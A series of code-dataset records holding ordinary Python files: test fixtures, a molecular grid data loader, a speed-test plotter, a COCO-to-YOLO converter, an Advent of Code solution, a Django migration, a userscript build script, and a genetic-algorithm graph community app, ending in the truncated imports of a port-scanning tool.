return today.replace(day=day,month=month)\n\n@pytest.fixture\ndef db():\n return Database('sqlite:///:memory:')\n\n@pytest.fixture\ndef ldb():\n return LoggedDB('sqlite:///:memory:')\n\n@pytest.fixture\ndef tmp_ldb():\n return LoggedDB('sqlite:////tmp/rurouni.sqlite')\n","repo_name":"magnunleno/Rurouni","sub_path":"tests/conftests.py","file_name":"conftests.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"17238490204","text":"from keras.utils import to_categorical, Sequence\r\nfrom rdkit import Chem\r\nfrom rdkit.Chem import rdmolops, AllChem\r\nimport numpy as np\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nimport math\r\nfrom sklearn import preprocessing\r\nfrom model.utils_ import read_csv, read_csv2, read_griddata, normalized_laplacian, normalize_adj, scaled_laplacian, adjacency, gen_conformer\r\nfrom scipy.spatial import cKDTree\r\nfrom grid import scaffoldSplit as scaffoldsplit\r\n\r\ndef one_hot(x, allowable_set):\r\n # If x is not in allowed set, use last index\r\n if x not in allowable_set:\r\n x = allowable_set[-1]\r\n\r\n return list(map(lambda s: x == s, allowable_set))\r\n\r\n\r\nclass grid_Dataset(object):\r\n def __init__(self, dataset, batch=128):\r\n self.dataset = dataset\r\n self.task = \"binary\"\r\n self.target_name = \"active\"\r\n self.max_atoms = 3\r\n\r\n self.batch = batch\r\n self.outputs = 1\r\n\r\n self.smiles = []\r\n self.mols = []\r\n self.coords = []\r\n self.target = []\r\n self.rlist = []\r\n self.gridx = []\r\n self.x, self.y, self.grid3d = {}, {}, {}\r\n self.gridshape = ()\r\n\r\n self.use_atom_symbol = True\r\n self.use_degree = True\r\n self.use_hybridization = True\r\n self.use_implicit_valence = True\r\n self.use_partial_charge = False\r\n self.use_formal_charge = True\r\n self.use_ring_size = True\r\n self.use_hydrogen_bonding = True\r\n self.use_acid_base = True\r\n self.use_aromaticity = True\r\n self.use_chirality = True\r\n self.use_num_hydrogen = True\r\n\r\n # Load data\r\n self.load_grid_dataset()\r\n\r\n # Normalize\r\n if self.task == \"regression\":\r\n self.mean = np.mean(self.y[\"train\"])\r\n self.std = np.std(self.y[\"train\"])\r\n\r\n self.y[\"train\"] = (self.y[\"train\"] - self.mean) / self.std\r\n self.y[\"valid\"] = (self.y[\"valid\"] - self.mean) / self.std\r\n self.y[\"test\"] = (self.y[\"test\"] - self.mean) / self.std\r\n\r\n else:\r\n self.mean = 0\r\n self.std = 1\r\n\r\n def load_grid_dataset(self):\r\n # Dataset parameters\r\n if self.dataset == \"bace_reg\" or self.dataset == \"delaney\" or self.dataset == \"freesolv\":\r\n self.task = \"regression\"\r\n # self.target_name = \"target\"\r\n elif self.dataset == \"hiv\":\r\n self.task = \"binary\"\r\n else:\r\n pass\r\n\r\n\r\n if self.dataset == \"delaney\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_delaney11\")\r\n elif self.dataset == \"freesolv\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_freesolv_rotate_5\")\r\n elif self.dataset == \"hiv\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_hiv_rotate\")\r\n t = np.array(grid_y)\r\n t1=0\r\n t2=0\r\n for h in range(len(t)):\r\n if t[h]==0:\r\n t1=t1+1\r\n elif t[h]==1:\r\n t2 = t2 + 1\r\n\r\n elif self.dataset == \"tox21_NR-AR\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_NR-AR_rotate\")\r\n elif self.dataset == \"tox21_NR-AR-LBD\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_NR-AR-LBD_rotate\")\r\n elif self.dataset == \"tox21_NR-AhR\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_NR-AhR_rotate\")\r\n elif self.dataset == \"tox21_NR-Aromatase\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_NR-Aromatase_rotate\")\r\n elif self.dataset == \"tox21_NR-ER\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_NR-ER_rotate\")\r\n elif self.dataset == \"tox21_NR-ER-LBD\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_NR-ER-LBD_rotate\")\r\n elif self.dataset == \"tox21_NR-PPAR-gamma\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_NR-PPAR-gamma_rotate\")\r\n elif self.dataset == \"tox21_SR-ARE\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_SR-ARE_rotate\")\r\n elif self.dataset == \"tox21_SR-ATAD5\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_SR-ATAD5_rotate\")\r\n elif self.dataset == \"tox21_SR-HSE\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_SR-HSE_rotate\")\r\n elif self.dataset == \"tox21_SR-MMP\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_SR-MMP_rotate\")\r\n elif self.dataset == \"tox21_SR-p53\":\r\n grid_x, grid_y, grid_smiles, sample_shape = read_griddata(\"gridMols/grid3Dmols_tox21_SR-p53_rotate\")\r\n\r\n\r\n self.smiles, self.gridx, self.gridy, self.gridshape = np.array(grid_smiles), np.array(grid_x), np.array( grid_y), sample_shape\r\n\r\n if self.dataset == \"hiv\":\r\n train_inds, valid_inds, test_inds = scaffoldsplit.ScaffoldSplitter().train_valid_test_split(self.gridx, self.gridy, self.smiles)\r\n train_smiles = self.smiles[train_inds]\r\n train_gridy = self.gridy[train_inds]\r\n train_grid3d = self.gridx[train_inds]\r\n np.random.seed(66)\r\n index_train = np.random.permutation(len(train_smiles))\r\n\r\n valid_smiles = self.smiles[valid_inds]\r\n valid_gridy = self.gridy[valid_inds]\r\n valid_grid3d = self.gridx[valid_inds]\r\n index_valid = np.random.permutation(len(valid_smiles))\r\n\r\n test_smiles = self.smiles[test_inds]\r\n test_gridy = self.gridy[test_inds]\r\n test_grid3d = self.gridx[test_inds]\r\n index_test = np.random.permutation(len(test_smiles))\r\n\r\n self.x = {\"train\": train_smiles[index_train],\r\n \"valid\": valid_smiles[index_valid],\r\n \"test\": test_smiles[index_test]}\r\n self.y = {\"train\": train_gridy[index_train],\r\n \"valid\": valid_gridy[index_valid],\r\n \"test\": test_gridy[index_test]}\r\n self.grid3d = {\"train\": train_grid3d[index_train],\r\n \"valid\": valid_grid3d[index_valid],\r\n \"test\": test_grid3d[index_test]}\r\n else:\r\n # Shuffle data\r\n idx = np.random.permutation(len(self.smiles))\r\n self.smiles, self.gridx, self.gridy = self.smiles[idx], self.gridx[idx], self.gridy[idx]\r\n\r\n # Split data\r\n spl1 = int(len(self.smiles) * 0.2)\r\n spl2 = int(len(self.smiles) * 0.1)\r\n\r\n self.x = {\"train\": self.smiles[spl1:],\r\n \"valid\": self.smiles[spl2:spl1],\r\n \"test\": self.smiles[:spl2]}\r\n self.y = {\"train\": self.gridy[spl1:],\r\n \"valid\": self.gridy[spl2:spl1],\r\n \"test\": self.gridy[:spl2]}\r\n self.grid3d = {\"train\": self.gridx[spl1:],\r\n \"valid\":self.gridx[spl2:spl1],\r\n \"test\":self.gridx[:spl2]}\r\n print(\"aa\")\r\n\r\n def save_dataset(self, path, pred=None, target=\"test\", filename=None):\r\n mols = []\r\n # for idx, (smile, y) in enumerate(zip(self.t_smiles[target], self.y[target])):\r\n # smile.SetProp(\"true\", str(y * self.std + self.mean))\r\n # # smile.SetProp(\"smiles\", self.smiles[idx])\r\n # # smile.SetProp(\"name\", self.x[target][idx])\r\n # if pred is not None:\r\n # smile.SetProp(\"pred\", str(pred[idx][0] * self.std + self.mean))\r\n # mols.append(smile)\r\n #\r\n # if filename is not None:\r\n # w = Chem.SDWriter(path + filename + \".sdf\")\r\n # else:\r\n # w = Chem.SDWriter(path + target + \".sdf\")\r\n # for mol in mols:\r\n # if mol is not None:\r\n # w.write(mol)\r\n\r\n def replace_dataset(self, path, subset=\"test\", target_name=\"target\"):\r\n x, c, y = [], [], []\r\n mols = Chem.SDMolSupplier(path)\r\n\r\n for mol in mols:\r\n if mol is not None:\r\n # Multitask\r\n if type(target_name) is list:\r\n y.append([float(mol.GetProp(t)) if t in mol.GetPropNames() else -1 for t in target_name])\r\n self.outputs = len(self.target_name)\r\n\r\n # Singletask\r\n elif target_name in mol.GetPropNames():\r\n _y = float(mol.GetProp(target_name))\r\n if _y == -1:\r\n continue\r\n else:\r\n y.append(_y)\r\n\r\n else:\r\n continue\r\n\r\n x.append(mol)\r\n c.append(mol.GetConformer().GetPositions())\r\n\r\n # Normalize\r\n x = np.array(x)\r\n c = np.array(c)\r\n y = (np.array(y) - self.mean) / self.std\r\n\r\n self.x[subset] = x\r\n self.c[subset] = c\r\n self.y[subset] = y.astype(int) if self.task != \"regression\" else y\r\n\r\n def set_features(self, use_atom_symbol=True, use_degree=True, use_hybridization=True, use_implicit_valence=True,\r\n use_partial_charge=False, use_formal_charge=True, use_ring_size=True, use_hydrogen_bonding=True,\r\n use_acid_base=True, use_aromaticity=True, use_chirality=True, use_num_hydrogen=True):\r\n\r\n self.use_atom_symbol = use_atom_symbol\r\n self.use_degree = use_degree\r\n self.use_hybridization = use_hybridization\r\n self.use_implicit_valence = use_implicit_valence\r\n self.use_partial_charge = use_partial_charge\r\n self.use_formal_charge = use_formal_charge\r\n self.use_ring_size = use_ring_size\r\n self.use_hydrogen_bonding = use_hydrogen_bonding\r\n self.use_acid_base = use_acid_base\r\n self.use_aromaticity = use_aromaticity\r\n self.use_chirality = use_chirality\r\n self.use_num_hydrogen = use_num_hydrogen\r\n\r\n def generator(self, target, task=None):\r\n return grid_MPGenerator(self.x[target], self.y[target], self.grid3d[target], self.gridshape, self.batch,\r\n task=task if task is not None else self.task,\r\n use_atom_symbol=self.use_atom_symbol,\r\n use_degree=self.use_degree,\r\n use_hybridization=self.use_hybridization,\r\n use_implicit_valence=self.use_implicit_valence,\r\n use_partial_charge=self.use_partial_charge,\r\n use_formal_charge=self.use_formal_charge,\r\n use_ring_size=self.use_ring_size,\r\n use_hydrogen_bonding=self.use_hydrogen_bonding,\r\n use_acid_base=self.use_acid_base,\r\n use_aromaticity=self.use_aromaticity,\r\n use_chirality=self.use_chirality,\r\n use_num_hydrogen=self.use_num_hydrogen)\r\n\r\nclass grid_MPGenerator(Sequence):\r\n def __init__(self, x_set, y_set, grid3d, gridshape, batch, task=\"binary\",\r\n use_degree=True, use_hybridization=True, use_implicit_valence=True, use_partial_charge=False,\r\n use_formal_charge=True, use_ring_size=True, use_hydrogen_bonding=True, use_acid_base=True,\r\n use_aromaticity=True, use_chirality=True, use_num_hydrogen=True, use_atom_symbol=True):\r\n self.x, self.y = x_set, y_set\r\n self.grid3d, self.gridshape = grid3d, gridshape\r\n self.batch = batch\r\n self.task = task\r\n\r\n self.use_atom_symbol = use_atom_symbol\r\n self.use_degree = use_degree\r\n self.use_hybridization = use_hybridization\r\n self.use_implicit_valence = use_implicit_valence\r\n self.use_partial_charge = use_partial_charge\r\n self.use_formal_charge = use_formal_charge\r\n self.use_ring_size = use_ring_size\r\n self.use_hydrogen_bonding = use_hydrogen_bonding\r\n self.use_acid_base = use_acid_base\r\n self.use_aromaticity = use_aromaticity\r\n self.use_chirality = use_chirality\r\n self.use_num_hydrogen = use_num_hydrogen\r\n\r\n self.hydrogen_donor = Chem.MolFromSmarts(\"[$([N;!H0;v3,v4&+1]),$([O,S;H1;+0]),n&H1&+0]\")\r\n self.hydrogen_acceptor = Chem.MolFromSmarts(\r\n \"[$([O,S;H1;v2;!$(*-*=[O,N,P,S])]),$([O,S;H0;v2]),$([O,S;-]),$([N;v3;!$(N-*=[O,N,P,S])]),n&H0&+0,$([o,s;+0;!$([o,s]:n);!$([o,s]:c:n)])]\")\r\n self.acidic = Chem.MolFromSmarts(\"[$([C,S](=[O,S,P])-[O;H1,-1])]\")\r\n self.basic = Chem.MolFromSmarts(\r\n \"[#7;+,$([N;H2&+0][$([C,a]);!$([C,a](=O))]),$([N;H1&+0]([$([C,a]);!$([C,a](=O))])[$([C,a]);!$([C,a](=O))]),$([N;H0&+0]([C;!$(C(=O))])([C;!$(C(=O))])[C;!$(C(=O))])]\")\r\n\r\n def __len__(self):\r\n return int(np.ceil(len(self.x) / float(self.batch)))\r\n\r\n def __getitem__(self, idx):\r\n batch_x = self.x[idx * self.batch:(idx + 1) * self.batch]\r\n batch_y = self.y[idx * self.batch:(idx + 1) * self.batch]\r\n batch_grid = self.grid3d[idx * self.batch:(idx + 1) * self.batch]\r\n shapelist = list(self.gridshape)\r\n\r\n grid_tensor = np.zeros((len(batch_x), shapelist[0], shapelist[1], shapelist[2], shapelist[3]), dtype = np.bool)\r\n\r\n for mol_idx, mol in enumerate(batch_x):\r\n # 1. grid3D\r\n for matrix_ind in batch_grid[mol_idx]:\r\n grid_tensor[(mol_idx,) + tuple(matrix_ind)] =True\r\n\r\n return [grid_tensor], np.array(batch_y, dtype=float)\r\n","repo_name":"anny0316/Drug3D-Net","sub_path":"code/griddataset.py","file_name":"griddataset.py","file_ext":"py","file_size_in_byte":13948,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"71"} +{"seq_id":"28473143491","text":"import speedtest\r\nimport matplotlib.pyplot as plt\r\nimport time\r\nlds=[]\r\nlus=[]\r\nfor i in range(5):\r\n s=speedtest.Speedtest()\r\n ds=round(s.download()/1000000,2)\r\n us=round(s.download()/1000000,2)\r\n lds.append(ds)\r\n lus.append(us)\r\n time.sleep(60)\r\n print(lds)\r\n print(lus)\r\nx=[\"1\",\"2\",\"3\",\"4\",\"5\"]\r\nplt.plot(x,lds,label=\"Download Speed\")\r\nplt.plot(x,lus,label=\"Upload Speed\")\r\nplt.title(\"Internet Speed\")\r\nplt.legend()\r\nplt.show()\r\n \r\n ","repo_name":"TheWinterRose/kjrfhiluhrliufhlqiuarfh","sub_path":"176p.py","file_name":"176p.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"30455697608","text":"import os\nimport cv2\nimport json\n\n\nstage = 'val2017'\nlabel_file = '/media/F/COCO2017/annotations/instances_{}.json'.format(stage)\n\nwith open(label_file, 'r') as f:\n coco_json = json.load(f)\n\nresult_path = '/media/F/object2017'\nif not os.path.exists(result_path):\n os.makedirs(result_path)\nfor annotation in coco_json['annotations']:\n image_name = '/media/F/COCO2017/{}/{:012d}.jpg'.format(stage, annotation['image_id'])\n print('Processing {} ...'.format(image_name))\n src_img = cv2.imread(image_name)\n if src_img is None:\n print('Image name error!')\n cat = annotation['category_id']\n if cat >= 1 and cat <= 11:\n cat = cat - 1\n elif cat >= 13 and cat <= 25:\n cat = cat - 2\n elif cat >= 27 and cat <= 28:\n cat = cat - 3\n elif cat >= 31 and cat <= 44:\n cat = cat - 5\n elif cat >= 46 and cat <= 65:\n cat = cat - 6\n elif cat == 67:\n cat = cat - 7\n elif cat == 70:\n cat = cat - 9\n elif cat >= 72 and cat <= 82:\n cat = cat - 10\n elif cat >= 84 and cat <= 90:\n cat = cat - 11\n object_name = coco_json['categories'][cat]['name']\n img_dir = os.path.join(result_path, stage)\n if not os.path.exists(img_dir):\n os.mkdir(img_dir)\n img_name = os.path.join(img_dir, '{:012d}.jpg'.format(annotation['image_id']))\n cv2.imwrite(img_name, src_img)\n height, width, _ = src_img.shape\n txt_name = img_name.replace('jpg', 'txt')\n xt, yt, w, h = annotation['bbox']\n xc = xt + w / 2\n yc = yt + h / 2\n xc, yc, w, h = xc / width, yc / height, w / width, h / height\n with open(txt_name, 'a') as ft:\n ft.write('{} {} {} {} {}\\n'.format(cat, xc, yc, w, h))\n","repo_name":"linghu8812/Object_Detection_Tools","sub_path":"coco_json2yolo_txt.py","file_name":"coco_json2yolo_txt.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"32972445469","text":"# builds the files in the `final` folder from those in the `src` folder\n# also copies finished userscript to clipboard for convenience\n# run with python3 ./utilities/build_userscript_and_website.py \n\n# these should be based on the main overarching folder, NOT utilities\nfilepaths = {\n \"output\": {\n \"website\": \"final/website.html\",\n \"userscript\": \"final/theme_in_game_editor.user.js\"\n },\n \"boilerplate\": {\n \"website\": \"src/boilerplate/website_boilerplate.html\",\n \"userscript\": \"src/boilerplate/userscript_boilerplate.js\"\n },\n \"app\": {\n \"html\": \"src/app/app.html\",\n \"css\": \"src/app/app.css\",\n \"js\": \"src/app/app.js\"\n }\n}\n\nimport re\nimport pyperclip # copy to clipboard\n\n# This function not only writes to the userscript output file\n# but it also uses regex to find and replace code in the body of a js function\n# the regex to find (and then replace entirely) is of this format:\n\"\"\" //INSERT python_variable_name HERE// \"\"\"\ndef build_userscript():\n pattern = r'//INSERT(.*)HERE//'\n\n with \\\n open( filepaths[\"boilerplate\"][\"userscript\"] ) as userscript_boilerplate, \\\n open( filepaths[\"app\"][\"html\"] ) as app_html, \\\n open( filepaths[\"app\"][\"css\"] ) as app_css, \\\n open( filepaths[\"app\"][\"js\"] ) as app_js \\\n :\n # the editor_* variable names would normally have red underlines, but that's because I use eval to retrieve them\n # this useless string is so I can get rid of the annoying red underlines from variables not being used \n f\"\"\"###{app_html}###{app_css}###{app_js}###\"\"\"\n \n u_b = userscript_boilerplate.read()\n matches = re.findall( pattern, u_b )\n \n for match in matches:\n # match contains everything between, but not including, the //INSERT and HERE//\n python_variable_name = match.strip()\n python_variable = eval(python_variable_name)\n actual_code = python_variable.read()\n u_b = u_b.replace(f'//INSERT {python_variable_name} HERE//', actual_code)\n\n return u_b\n\n\ndef build_website():\n with \\\n open( filepaths[\"boilerplate\"][\"website\"] ) as website_boilerplate, \\\n open( filepaths[\"app\"][\"html\"] ) as app_html, \\\n open( filepaths[\"app\"][\"css\"] ) as app_css, \\\n open( filepaths[\"app\"][\"js\"] ) as app_js \\\n :\n combined_html = f\"\"\"\n { website_boilerplate.read() }\n { app_html.read() }\n \n \n \"\"\"\n return combined_html\n\n\ndef main():\n # userscript\n with open( filepaths[\"output\"][\"userscript\"], \"w\" ) as userscript_output:\n built_userscript = build_userscript()\n userscript_output.write( built_userscript )\n\n pyperclip.copy( built_userscript )\n print('Copied to clipboard!')\n\n # website\n with open( filepaths[\"output\"][\"website\"], \"w\" ) as website_output:\n website_output.write( build_website() )\n \nmain()\n","repo_name":"Road6943/Arras-Theme-In-Game-Editor","sub_path":"utilities/build_userscript_and_website.py","file_name":"build_userscript_and_website.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"12995004451","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('todolist', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Todo',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('title', models.CharField(max_length=255)),\n ('completed', models.BooleanField(default=False)),\n ('create_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True)),\n ],\n options={\n 'ordering': ('completed', '-update_at'),\n },\n ),\n ]\n","repo_name":"Noble777/Todo_List","sub_path":"todolist/migrations/0002_todo.py","file_name":"0002_todo.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"14249800772","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[54]:\n\n\ngrove=[]\nscore=[]\nwith open('Day8Input.txt','r') as file:\n for line in file:\n row=[]\n scorerow=[]\n for digit in line.rstrip():\n row.append(int(digit))\n scorerow.append(0)\n grove.append(row)\n score.append(scorerow)\n#print(grove)\n#print(visib)\n\nmaxscore=0\nbesttree=0,0\nfor y in range(len(grove)):\n for x in range(len(grove[y])):\n height=grove[y][x]\n score=1\n \n sighttop=-1\n subscore=0\n for y2 in range(y+1,len(grove)): # Look South\n if grove[y2][x]<=height: subscore+=1\n if grove[y2][x]>=height: break\n score=score*subscore\n #print(height,score)\n \n sighttop=-1\n subscore=0\n for y2 in reversed(range(y)): # Look North\n if grove[y2][x]<=height: subscore+=1\n if grove[y2][x]>=height: break\n score=score*subscore\n #print(height,score)\n \n sighttop=-1\n subscore=0\n for x2 in range(x+1,len(grove)): # Look East\n if grove[y][x2]<=height: subscore+=1\n if grove[y][x2]>=height: break\n score=score*subscore\n #print(height,score)\n \n sighttop=-1\n subscore=0\n for x2 in reversed(range(x)): # Look West\n if grove[y][x2]<=height: subscore+=1\n if grove[y][x2]>=height: break\n score=score*subscore\n \n if score>maxscore: maxscore=score; besttree=y,x;#print(height,score,y,x,maxscore)\n \nprint (maxscore, besttree)\nif maxscore<=3420: print(\"Something's not right\")\n# height=-1\n# for x in reversed(range(len(grove[y]))):\n# if grove[y][x]>height: visib[y][x]=1; height=grove[y][x]\n \n \n#for x in range(len(grove[0])):\n# height=-1\n# for y in range(len(grove[x])):\n# if grove[y][x]>height: visib[y][x]=1; height=grove[y][x]\n# \n# height=-1\n# for y in reversed(range(len(grove[x]))):\n# if grove[y][x]>height: visib[y][x]=1; height=grove[y][x]\n \n\n#print(visib)\n#total=0\n#for y in visib:\n# #print(y)\n# total+=y.count(1)\n \n#print(total)\n \n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Hitsman/Advent-of-Code-2022","sub_path":"Day 08 part 2.py","file_name":"Day 08 part 2.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"3647569175","text":"#read file\nwith open(\"clean_data.csv\", encoding=\"utf8\") as file:\n data = file.read().split(\"\\n\")\n\nheader = data[0]\nstudents = data[1:]\n\ntotal_students = len(students)\n\n#split header\nheader = header.split(\",\")\nsubject = header[5:]\n#split each student in list\nfor i in range(len(students)):\n students[i] = students[i].split(\",\")\n\n#remove the last student (empty student)\nstudents.pop()\n\nname = [] #list of last name\nname_count = [] #list of the number of lastnames #danh sach so hoc sinh cung ho\n\nfor s in students:\n s_name = s[1].split(\" \") #ten cua hoc sinh s\n lastname = s_name[0]\n if lastname not in name:\n name.append(lastname)\n name_count.append(0)\n name_count[name.index(lastname)] += 1\n else:\n name_count[name.index(lastname)] += 1\n\nsort_index = []\ncounted_max_num = []\n# tao counted_max_num, danh sach so lan lap cac ho lon nhat\nfor i in range(len(name)):\n max_number = 0\n for j in range(len(name)):\n if name_count[j] > max_number and name_count[j] not in counted_max_num:\n max_number = name_count[j]\n\n counted_max_num.append(max_number)\n\n# print(sum(name_count))\n# print(counted_max_num)\n\n# tao sort_index, vi tri number from high to low with counted_max_num\nfor max_num in counted_max_num:\n for i in range(len(name)):\n if name_count[i] == max_num and i not in sort_index:\n sort_index.append(i)\n\n# print(sort_index)\n# print(len(sort_index))\n\nname_sorted = [] #danh sach ho da sap xep\nname_count_sorted = [] #danh sach so lan lap ho da sap xep\n#use sort_index to sort name and name_count\nfor index in sort_index:\n name_count_sorted.append(name_count[index])\n name_sorted.append(name[index])\n\n# print(name_count_sorted)\n# print(len(name_sorted))\n\n\n# draw barchart\n#plot barchart\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nnum = 30\n\nx = np.arange(num)\ny = np.arange(num)\n\nfigure, axis = plt.subplots()\n\n#plot the barchart using 2 list, high of the bar\nplt.bar(x, name_count_sorted[:num])\n#change horizontal category name\nplt.xticks(x, name_sorted[:num])\n#set limit to vertical axis\naxis.set_ylim(0,30000)\n\nplt.ylabel(\"Number of students per last name\")\nplt.xlabel(\"Last name\")\nplt.title(\"Top \" + str(num) + \" most popular students' lastname\")\n\n# Draw number of students on top of each bar\n# label is the number upper the bar\nrects = axis.patches\nlabel = name_count_sorted\nfor rect, label in zip(rects, label):\n height = rect.get_height()\n axis.text(rect.get_x() + rect.get_width() / 2, height , label, ha='center', va='bottom')\n\nplt.show()\n","repo_name":"suanthuy/DataScience_Project","sub_path":"Unit7/Unit7.5.py","file_name":"Unit7.5.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"36436727176","text":"import my_graph_module as mgm\nimport my_genetic_algorithm as mga\nimport my_community_chromosome as mc\nimport random\n\n\nclass Application:\n def __init__(self):\n self.__load_commands()\n self.__graph = mgm.load_by_index(0)\n self.__filename = mgm.paths[0]\n self.__reset_GA()\n self.__initialize()\n\n def __reset_GA(self):\n self.__GA = None\n\n def __initialize(self):\n self.__fitness_functions = {'modularity': mc.community_modularity,\n 'score': mc.community_score,\n 'fitness': mc.community_fitness}\n\n def __load_graph(self):\n print(\"Choose graph sample:\\n\")\n start = 0\n for elem in mgm.paths:\n print(str(start) + \". - \" + elem)\n start += 1\n index = int(input(\"Index:\"))\n if index < 0:\n raise Exception(\"Error: index shouldn't be negative\")\n self.__graph = mgm.load_by_index(index)\n self.__filename = mgm.paths[index]\n self.__reset_GA()\n print(\"Graph loaded successfully\")\n\n def __show_graph(self):\n mgm.show_graph(self.__graph)\n\n def __begin_genetics(self):\n fitness = input(\"modularity/score/fitness:\")\n if fitness not in self.__fitness_functions:\n print(\"Invalid mode!\")\n return\n k = int(input(\"Number of entities in generation:\"))\n if k <= 0:\n print(\"Invalid number of entities\")\n return\n mode = input(\"normal/elitism/steady:\")\n if mode not in [\"normal\", \"elitism\", \"steady\"]:\n print(\"Invalid mode\")\n return\n wanted_communities = int(input(\"Aimed number of communities:\"))\n if wanted_communities < 1:\n print(\"Invalid: should be positive\")\n return\n args = {'graph': self.__graph, 'limit': wanted_communities}\n self.__GA = mga.GeneticAlgorithm(mc.community_generator, self.__fitness_functions[fitness], mc.cross_over,\n mc.mutation, k, mode, args)\n ###\n self.__write_chrom(self.__GA.get_best_ex_chromosome())\n ###\n print(\"Initiation successful!\")\n\n def __advance(self):\n if self.__GA is None:\n print(\"No genetic algorithm started\")\n return\n k = int(input(\"Number of generations to advance:\"))\n if k <= 0:\n print(\"invalid number: should be positive\")\n return\n # self.__GA.jump_k_generations(k)\n ####\n for i in range(0, k):\n self.__GA.jump_k_generations(1)\n self.__write_chrom(self.__GA.get_best_ex_chromosome())\n ####\n print(\"Successfully jumped k generations\")\n\n def __write_chrom(self, chrom):\n my_file = open(\"./data/output/log.txt\", 'a')\n my_file.write(\"File:\" + self.__filename + \"\\n\")\n my_file.write(\"Fitness Function:\" + self.__GA.get_fitness_function().__name__ + \"\\n\")\n my_file.write(\"Population:\" + str(len(self.__GA.get_all_ex_chromosomes())) + \"\\n\")\n my_file.write(\"Mode:\" + self.__GA.get_mode() + \"\\n\")\n my_file.write(\"Generations:\" + str(self.__GA.get_generation_number()) + \"\\n\")\n my_file.write(\"Fitness:\" + str(chrom[1]) + \"\\n\")\n my_file.write(\"Partition:\" + \"\\n\")\n my_file.close()\n repr0 = chrom[0].get_representation()\n partition = mc.list_to_tuple(repr0, self.__graph)\n mgm.append_partition_to_file(partition)\n\n def __show_chrom(self, chrom):\n print(\"Solution Fitness:\" + str(chrom[1]))\n repr0 = chrom[0].get_representation()\n partition = mc.list_to_tuple(repr0, self.__graph)\n mgm.show_graph(self.__graph, partition)\n # self.__write_chrom(chrom)\n\n def __show_GA(self):\n if self.__GA is None:\n print(\"No genetic algorithm started\")\n return\n print(\"Current generation:\" + str(self.__GA.get_generation_number()))\n chrom = self.__GA.get_best_ex_chromosome()\n self.__show_chrom(chrom)\n\n def __show_menu(self):\n print(\"Menu:\\n\"\n \"0.'exit' - stops application\\n\"\n \"1.'menu' - shows menu\\n\"\n \"2.'load' - loads a graph\\n\"\n \"3.'show' - shows a graph\\n\"\n \"4.'begin_genetics' - initiates a genetic algorithm on the current graph\\n\"\n \"5.'advance' - advances k generations on the current graph\\n\"\n \"6.'show_best' - shows best of the current generation\\n\"\n )\n\n def __load_commands(self):\n self.__commands = {\n 'menu': self.__show_menu,\n 'load': self.__load_graph,\n 'show': self.__show_graph,\n 'begin_genetics': self.__begin_genetics,\n 'advance': self.__advance,\n 'show_best': self.__show_GA\n }\n\n def run(self):\n random.seed(123)\n print(\"Application started;\\nWrite 'menu' to see possible commands\")\n while True:\n command = input(\">>>\")\n if command == 'exit':\n print(\"Closing Application...\")\n break\n elif command in self.__commands:\n try:\n self.__commands[command]()\n except Exception as e:\n print(str(e))\n else:\n print(\"Command unrecognized;\\nWrite 'menu' to see possible commands\")\n","repo_name":"DretcanuMihai/InteligentaArtificiala","sub_path":"lab_3/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":5427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"33702460542","text":"\"\"\"Main entry point of the program.\n\nAuthor:\n Pablo Dorrio Vazquez (@pablodorrio)\n\"\"\"\n\nimport random\nimport socket\n\nfrom core.ports import scan_ports\nfrom core.system_discovery import icmp_trace\nfrom utils.ascii_art import ART, NAME\nfrom utils.menu import menu\nfrom utils.user import admin_check, 